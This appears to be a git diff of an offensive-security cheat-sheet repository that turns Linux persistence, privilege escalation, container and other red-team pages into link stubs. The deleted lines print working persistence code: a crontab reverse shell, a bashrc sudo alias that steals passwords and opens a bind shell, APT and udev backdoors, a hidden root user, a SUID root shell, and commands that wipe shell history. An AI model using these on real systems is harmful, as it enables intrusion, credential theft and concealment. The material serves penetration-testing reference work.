+    - [Resource Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#resource-kit)
+    - [Artifact Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#artifact-kit)
+    - [Mimikatz Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#mimikatz-kit)
+    - [Sleep Mask Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#sleep-mask-kit)
+    - [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer)
+- [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files)
+- [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)

Methodology and Resources/Container - Docker Pentest.md

@@ -0,0 +1,14 @@
+# Container - Docker
+
+:warning: Content of this page has been moved to [InternalAllTheThings/containers/docker](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/)
+
+- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#tools)
+- [Mounted Docker Socket](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#mounted-docker-socket)
+- [Open Docker API Port](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#open-docker-api-port)
+- [Insecure Docker Registry](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#insecure-docker-registry)
+- [Exploit privileged container abusing the Linux cgroup v1](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#exploit-privileged-container-abusing-the-linux-cgroup-v1)
+    - [Abusing CAP_SYS_ADMIN capability](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-capsysadmin-capability)
+    - [Abusing coredumps and core_pattern](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-corepattern)
+- [Breaking out of Docker via runC](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-docker-via-runc)
+- [Breaking out of containers using a device file](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-containers-using-a-device-file)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references)

Methodology and Resources/Container - Kubernetes Pentest.md

@@ -0,0 +1,9 @@
+# Container - Kubernetes
+
+:warning: Content of this page has been moved to [InternalAllTheThings/containers/kubernetes/](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/)
+
+- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#tools)
+- [Exploits](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#exploits)
+    - [Accessible kubelet on 10250/TCP](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#accessible-kubelet-on-10250tcp)
+    - [Obtaining Service Account Token](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#obtaining-service-account-token)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#references)

Methodology and Resources/Escape Breakout.md

@@ -0,0 +1,16 @@
+# Application Escape and Breakout
+
+:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/escape-breakout](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/)
+
+- [Gaining a command shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#gaining-a-command-shell)
+- [Sticky Keys](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#sticky-keys)
+- [Dialog Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#dialog-boxes)
+    - [Creating new files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#creating-new-files)
+    - [Open a new Windows Explorer instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#open-a-new-windows-explorer-instance)
+    - [Exploring Context Menus](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#exploring-context-menus)
+    - [Save as](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#save-as)
+    - [Input Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#input-boxes)
+    - [Bypass file restrictions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#bypass-file-restrictions)
+- [Internet Explorer](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#internet-explorer)
+- [Shell URI Handlers](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#shell-uri-handlers)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#references)

Methodology and Resources/HTML Smuggling.md

@@ -0,0 +1,6 @@
+# HTML Smuggling
+
+:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/html-smuggling](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/)
+
+- [Description](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#description)
+- [Executable Storage](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#executable-storage)

Methodology and Resources/Hash Cracking.md

@@ -0,0 +1,15 @@
+# Hash Cracking
+
+:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/hash-cracking](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/)
+
+- [Hashcat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat)
+    - [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
+    - [Hashcat Install](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat-install)
+    - [Mask attack](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#mask-attack)
+    - [Dictionary](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#dictionary)
+- [John](https://github.com/openwall/john)
+    - [Usage](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#john-usage)
+- [Rainbow tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#rainbow-tables)
+- [Tips and Tricks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#tips-and-tricks)
+- [Online Cracking Resources](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#online-cracking-resources)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#references)

Methodology and Resources/Initial Access.md

@@ -0,0 +1,11 @@
+# Initial Access
+
+:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/)
+
+- [Complex Chains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#complex-chains)
+- [Container](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#container)
+- [Payload](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#payload)
+    - [Binary Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#binary-files)
+    - [Code Execution Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-execution-files)
+    - [Embedded Files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#embedded-files)
+- [Code Signing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/initial-access/#code-signing)

Methodology and Resources/Linux - Evasion.md

@@ -0,0 +1,8 @@
+# Linux - Evasion
+
+:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/initial-access](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/)
+
+- [File names](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#file-names)
+- [Command history](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#command-history)
+- [Hiding text](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#hiding-text)
+- [Timestomping](https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/linux-evasion/#timestomping)

Methodology and Resources/Linux - Persistence.md

@@ -1,164 +1,18 @@
 # Linux - Persistence
 
-## Summary
+:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/)
 
-* [Basic reverse shell](#basic-reverse-shell)
+- [Basic reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#basic-reverse-shell)
-* [Add a root user](#add-a-root-user)
+- [Add a root user](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#add-a-root-user)
-* [Suid Binary](#suid-binary)
+- [Suid Binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#suid-binary)
-* [Crontab - Reverse shell](#crontab-reverse-shell)
+- [Crontab - Reverse shell](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#crontab---reverse-shell)
-* [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc)
+- [Backdooring a user's bash_rc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-users-bash_rc)
-* [Backdooring a startup service](#backdoor-a-startup-service)
+- [Backdooring a startup service](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-startup-service)
-* [Backdooring a user startup file](#backdooring-an-user-startup-file)
+- [Backdooring a user startup file](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-user-startup-file)
-* [Backdooring a driver](#backdooring-a-driver)
+- [Backdooring Message of the Day](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-message-of-the-day)
-* [Backdooring the APT](#backdooring-the-apt)
+- [Backdooring a driver](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-a-driver)
-* [Backdooring the SSH](#backdooring-the-ssh)
+- [Backdooring the APT](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-apt)
-* [Tips](#tips)
+- [Backdooring the SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-the-ssh)
-* [References](#references)
+- [Backdooring Git](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#backdooring-git)
-
+- [Additional Linux Persistence Options](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#additional-persistence-options)
-
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/persistence/linux-persistence/#references)
-## Basic reverse shell
-
-```bash
-ncat --udp -lvp 4242
-ncat --sctp -lvp 4242
-ncat --tcp -lvp 4242
-```
-
-## Add a root user
-
-```powershell
-sudo useradd -ou 0 -g 0 john
-sudo passwd john
-echo "linuxpassword" | passwd --stdin john
-```
-
-## Suid Binary
-
-```powershell
-TMPDIR2="/var/tmp"
-echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
-gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
-rm $TMPDIR2/croissant.c
-chown root:root $TMPDIR2/croissant
-chmod 4777 $TMPDIR2/croissant
-```
-
-## Crontab - Reverse shell
-
-```bash
-(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
-```
-
-## Backdooring a user's bash_rc 
-
-(FR/EN Version)
-
-```bash
-TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
-cat << EOF > /tmp/$TMPNAME2
-  alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale  = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale  = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
-EOF
-if [ -f ~/.bashrc ]; then
-    cat /tmp/$TMPNAME2 >> ~/.bashrc
-fi
-if [ -f ~/.zshrc ]; then
-    cat /tmp/$TMPNAME2 >> ~/.zshrc
-fi
-rm /tmp/$TMPNAME2
-```
-
-## Backdooring a startup service
-
-```bash
-RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
-sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
-```
-
-## Backdooring a user startup file
-
-Linux, write a file in  `~/.config/autostart/NAME_OF_FILE.desktop`
-
-```powershell
-In : ~/.config/autostart/*.desktop
-
-[Desktop Entry]
-Type=Application
-Name=Welcome
-Exec=/var/lib/gnome-welcome-tour
-AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
-OnlyShowIn=GNOME;
-X-GNOME-Autostart-enabled=false
-```
-
-## Backdooring a driver
-
-```bash
-echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
-```
-
-## Backdooring the APT
-
-If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
-Next time "apt-get update" is done, your CMD will be executed!
-
-```bash
-echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
-```
-
-## Backdooring the SSH
-
-Add an ssh key into the `~/.ssh` folder.
-
-1. `ssh-keygen`
-2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
-3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
-
-## Tips
-
-Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload.
-
-```bash
-## Do not remove. Generated from /etc/issue.conf by configure.
-```
-
-Clear the last line of the history.
-
-```bash
-history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null
-```
-
-Clear history
-
-```bash
-[SPACE] ANY COMMAND
-or
-export HISTSIZE=0
-export HISTFILESIZE=0
-unset HISTFILE; CTRL-D
-or
-kill -9 $$
-or
-echo "" > ~/.bash_history
-or
-rm ~/.bash_history -rf
-or
-history -c
-or
-ln /dev/null ~/.bash_history -sf
-```
-
-The following directories are temporary and usually writeable
-
-```bash
-/var/tmp/
-/tmp/
-/dev/shm/
-```
-
-## References
-
-* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
-* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
-* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
-* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
-* [Pouki from JDI](#no_source_code)

Methodology and Resources/Linux - Privilege Escalation.md

@@ -1,646 +1,50 @@
 # Linux - Privilege Escalation
 
-## Tools
+:warning: Content of this page has been moved to [InternalAllTheThings/redteam/persistence/linux-persistence](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/)
-
+
-- [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum)
+- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#tools)
-    ```powershell
+- [Checklist](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#checklists)
-    ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t
+- [Looting for passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#looting-for-passwords)
-    ```
+    - [Files containing passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#files-containing-passwords)
-- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
+    - [Old passwords in /etc/security/opasswd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#old-passwords-in-etcsecurityopasswd)
-- [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker)
+    - [Last edited files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#last-edited-files)
-- [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)
+    - [In memory passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#in-memory-passwords)
-
+    - [Find sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-sensitive-files)
-## Summary
+- [SSH Key](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key)
-
+    - [Sensitive files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sensitive-files)
-* [Checklist](#checklist)
+    - [SSH Key Predictable PRNG (Authorized_Keys) Process](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ssh-key-predictable-prng-authorized_keys-process)
-* [Looting for passwords](#looting-for-passwords)
+- [Scheduled tasks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#scheduled-tasks)
-    * [Files containing passwords](#files-containing-passwords)
+    - [Cron jobs](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cron-jobs)
-    * [Old passwords in /etc/security/opasswd](#old-passwords-in--etc-security-opasswd)
+    - [Systemd timers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#systemd-timers)
-    * [Last edited files](#last-edited-files)
+- [SUID](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#suid)
-    * [In memory passwords](#in-memory-passwords)
+    - [Find SUID binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#find-suid-binaries)
-    * [Find sensitive files](#find-sensitive-files)
+    - [Create a SUID binary](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#create-a-suid-binary)
-* [Scheduled tasks](#scheduled-tasks)
+- [Capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#capabilities)
-    * [Cron jobs](#cron-jobs)
+    - [List capabilities of binaries](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#list-capabilities-of-binaries)
-    * [Systemd timers](#systemd-timers)
+    - [Edit capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#edit-capabilities)
-* [SUID](#suid)
+    - [Interesting capabilities](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#interesting-capabilities)
-    * [Find SUID binaries](#find-suid-binaries)
+- [SUDO](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo)
-    * [Create a SUID binary](#create-a-suid-binary)
+    - [NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nopasswd)
-* [Capabilities](#capabilities)
+    - [LD_PRELOAD and NOPASSWD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ld_preload-and-nopasswd)
-    * [List capabilities of binaries](#list-capabilities-of-binaries)
+    - [Doas](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#doas)
-    * [Edit capabilities](#edit-capabilities)
+    - [sudo_inject](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#sudo_inject)
-    * [Interesting capabilities](#interesting-capabilities)
+    - [CVE-2019-14287](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2019-14287)
-* [SUDO](#sudo)
+- [GTFOBins](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#gtfobins)
-    * [NOPASSWD](#nopasswd)
+- [Wildcard](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#wildcard)
-    * [LD_PRELOAD and NOPASSWD](#ld-preload-and-passwd)
+- [Writable files](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-files)
-    * [Doas](#doas)
+    - [Writable /etc/passwd](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcpasswd)
-    * [sudo_inject](#sudo-inject)
+    - [Writable /etc/sudoers](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#writable-etcsudoers)
-* [GTFOBins](#gtfobins)
+- [NFS Root Squashing](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#nfs-root-squashing)
-* [Wildcard](#wildcard)
+- [Shared Library](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#shared-library)
-* [Writable files](#writable-files)
+    - [ldconfig](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#ldconfig)
-    * [Writable /etc/passwd](#writable-etcpasswd)
+    - [RPATH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#rpath)
-    * [Writable /etc/sudoers](#writable-etcsudoers)
+- [Groups](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#groups)
-* [NFS Root Squashing](#nfs-root-squashing)
+    - [Docker](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#docker)
-* [Shared Library](#shared-library)
+    - [LXC/LXD](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#lxclxd)
-    * [ldconfig](#ldconfig)
+- [Hijack TMUX session](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#hijack-tmux-session)
-    * [RPATH](#rpath)
+- [Kernel Exploits](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#kernel-exploits)
-* [Groups](#groups)
+    - [CVE-2022-0847 (DirtyPipe)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2022-0847-dirtypipe)
-    * [Docker](#docker)
+    - [CVE-2016-5195 (DirtyCow)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2016-5195-dirtycow)
-    * [LXC/LXD](#lxclxd)
+    - [CVE-2010-3904 (RDS)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-3904-rds)
-* [Kernel Exploits](#kernel-exploits)
+    - [CVE-2010-4258 (Full Nelson)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2010-4258-full-nelson)
-    * [CVE-2016-5195 (DirtyCow)](#CVE-2016-5195-dirtycow)
+    - [CVE-2012-0056 (Mempodipper)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/#cve-2012-0056-mempodipper)
-    * [CVE-2010-3904 (RDS)](#[CVE-2010-3904-rds)
-    * [CVE-2010-4258 (Full Nelson)](#CVE-2010-4258-full-nelson)
-    * [CVE-2012-0056 (Mempodipper)](#CVE-2012-0056-mempodipper)
-
-## Checklists
-
-* Kernel and distribution release details
-* System Information:
-  * Hostname
-  * Networking details:
-  * Current IP
-  * Default route details
-  * DNS server information
-* User Information:
-  * Current user details
-  * Last logged on users
-  * Shows users logged onto the host
-  * List all users including uid/gid information
-  * List root accounts
-  * Extracts password policies and hash storage method information
-  * Checks umask value
-  * Checks if password hashes are stored in /etc/passwd
-  * Extract full details for 'default' uid's such as 0, 1000, 1001 etc
-  * Attempt to read restricted files i.e. /etc/shadow
-  * List current users history files (i.e .bash_history, .nano_history etc.)
-  * Basic SSH checks
-* Privileged access:
-  * Which users have recently used sudo
-  * Determine if /etc/sudoers is accessible
-  * Determine if the current user has Sudo access without a password
-  * Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.)
-  * Is root's home directory accessible
-  * List permissions for /home/
-* Environmental:
-  * Display current $PATH
-  * Displays env information
-* Jobs/Tasks:
-  * List all cron jobs
-  * Locate all world-writable cron jobs
-  * Locate cron jobs owned by other users of the system
-  * List the active and inactive systemd timers
-* Services:
-  * List network connections (TCP & UDP)
-  * List running processes
-  * Lookup and list process binaries and associated permissions
-  * List inetd.conf/xined.conf contents and associated binary file permissions
-  * List init.d binary permissions
-* Version Information (of the following):
-  * Sudo
-  * MYSQL
-  * Postgres
-  * Apache
-    * Checks user config
-    * Shows enabled modules
-    * Checks for htpasswd files
-    * View www directories
-* Default/Weak Credentials:
-  * Checks for default/weak Postgres accounts
-  * Checks for default/weak MYSQL accounts
-* Searches:
-  * Locate all SUID/GUID files
-  * Locate all world-writable SUID/GUID files
-  * Locate all SUID/GUID files owned by root
-  * Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc)
-  * Locate files with POSIX capabilities
-  * List all world-writable files
-  * Find/list all accessible *.plan files and display contents
-  * Find/list all accessible *.rhosts files and display contents
-  * Show NFS server details
-  * Locate *.conf and *.log files containing keyword supplied at script runtime
-  * List all *.conf files located in /etc
-  * Locate mail
-* Platform/software specific tests:
-  * Checks to determine if we're in a Docker container
-  * Checks to see if the host has Docker installed
-  * Checks to determine if we're in an LXC container
-
-## Looting for passwords
-
-### Files containing passwords
-
-```powershell
-grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
-find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
-```
-
-### Old passwords in /etc/security/opasswd
-
-The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.
-
-:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes 
-
-
-### Last edited files
-
-Files that were edited in the last 10 minutes
-
-```powershell
-find / -mmin -10 2>/dev/null | grep -Ev "^/proc"
-```
-
-### In memory passwords
-
-```powershell
-strings /dev/mem -n10 | grep -i PASS
-```
-
-### Find sensitive files
-
-```powershell
-$ locate password | more           
-/boot/grub/i386-pc/password.mod
-/etc/pam.d/common-password
-/etc/pam.d/gdm-password
-/etc/pam.d/gdm-password.original
-/lib/live/config/0031-root-password
-...
-```
-
-## Scheduled tasks
-
-### Cron jobs
-
-Check if you have access with write permission on these files.   
-Check inside the file, to find other paths with write permissions.   
-
-```powershell
-/etc/init.d
-/etc/cron*
-/etc/crontab
-/etc/cron.allow
-/etc/cron.d 
-/etc/cron.deny
-/etc/cron.daily
-/etc/cron.hourly
-/etc/cron.monthly
-/etc/cron.weekly
-/etc/sudoers
-/etc/exports
-/etc/anacrontab
-/var/spool/cron
-/var/spool/cron/crontabs/root
-
-crontab -l
-ls -alh /var/spool/cron;
-ls -al /etc/ | grep cron
-ls -al /etc/cron*
-cat /etc/cron*
-cat /etc/at.allow
-cat /etc/at.deny
-cat /etc/cron.allow
-cat /etc/cron.deny*
-```
-
-## Systemd timers
-
-```powershell
-systemctl list-timers --all
-NEXT                          LEFT     LAST                          PASSED             UNIT                         ACTIVATES
-Mon 2019-04-01 02:59:14 CEST  15h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily.timer              apt-daily.service
-Mon 2019-04-01 06:20:40 CEST  19h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily-upgrade.timer      apt-daily-upgrade.service
-Mon 2019-04-01 07:36:10 CEST  20h left Sat 2019-03-09 14:28:25 CET   3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
-
-3 timers listed.
-```
-
-## SUID
-
-SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
-
-```powershell
-╭─swissky@lab ~  
-╰─$ ls /usr/bin/sudo -alh                  
--rwsr-xr-x 1 root root 138K 23 nov.  16:04 /usr/bin/sudo
-```
-
-### Find SUID binaries
-
-```bash
-find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-find / -uid 0 -perm -4000 -type f 2>/dev/null
-```
-
-### Create a SUID binary
-
-```bash
-print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c   
-gcc -o /tmp/suid /tmp/suid.c  
-sudo chmod +x /tmp/suid # execute right
-sudo chmod +s /tmp/suid # setuid bit
-```
-
-
-## Capabilities
-
-### List capabilities of binaries 
-
-```bash
-╭─swissky@lab ~  
-╰─$ /usr/bin/getcap -r  /usr/bin
-/usr/bin/fping                = cap_net_raw+ep
-/usr/bin/dumpcap              = cap_dac_override,cap_net_admin,cap_net_raw+eip
-/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
-/usr/bin/rlogin               = cap_net_bind_service+ep
-/usr/bin/ping                 = cap_net_raw+ep
